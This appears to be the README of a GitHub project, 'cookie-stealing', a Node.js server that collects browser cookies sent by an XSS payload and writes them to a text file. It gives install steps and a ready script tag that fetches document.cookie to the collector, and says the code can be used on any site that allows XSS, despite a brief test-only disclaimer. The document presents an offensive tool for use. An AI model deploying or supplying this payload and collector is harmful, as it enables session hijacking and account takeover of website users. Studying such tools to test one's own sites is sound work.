An awesome API to collect cookies!
View Demo
·
Report Bug
·
Request Feature
Table of Contents
There is a lot of tools to view the details of web cookies, but while I was testing XSS in my own personal projects I felt the need to store the cookies in order to steal the session from the user. So, I built this small project. His only purpose is to write a ".txt" about every unprotected cookie in detail.
- Install Node.js and npm to your local workstation
- Clone the repository:
git clone https://github.com/ruigomes99/cookie-stealing.git
- Change directory:
cd cookie-stealing
- Install dependencies:
npm install
- Start the server:
npm start
- Go at 'http://127.0.0.1:3000' and verify if you receive the "Hello World" message in your browser.
IMPORTANT: This code is just for test propose and using this in third party websites in order to benefit yourself is punish as a cybersecurity crime.
You can use this code on any website that allows XSS.
You only need to do a GET request like this one:
<script> fetch('http://127.0.0.1:3000/cookies/' + document.cookie) </script>
This route receives a parameter called 'cookies'. In order to get the unprotected (httpOnly=false) cookies, you only need to use 'document.cookie' inside a <script>
tag.
After the GET request, the server will create or update a ".txt" file called cookies in the high-level path of the repository folder.
This "cookies.txt" file contains the timestamp of the request, the origin URL and every unprotected cookie separated with paragraphs.
See the open issues for a list of proposed features (and known issues).
Contributions are what make the open source community such an amazing place to be learn, inspire, and create. Any contributions you make are greatly appreciated.
- Fork the Project
- Create your Feature Branch (
git checkout -b feature/AmazingFeature
) - Commit your Changes (
git commit -m 'Add some AmazingFeature'
) - Push to the Branch (
git push origin feature/AmazingFeature
) - Open a Pull Request
Distributed under the MIT License. See MIT LICENSE for more information.
Rui Gomes - GitHub - [email protected]
Project Link: https://github.com/ruigomes99/cookie-stealing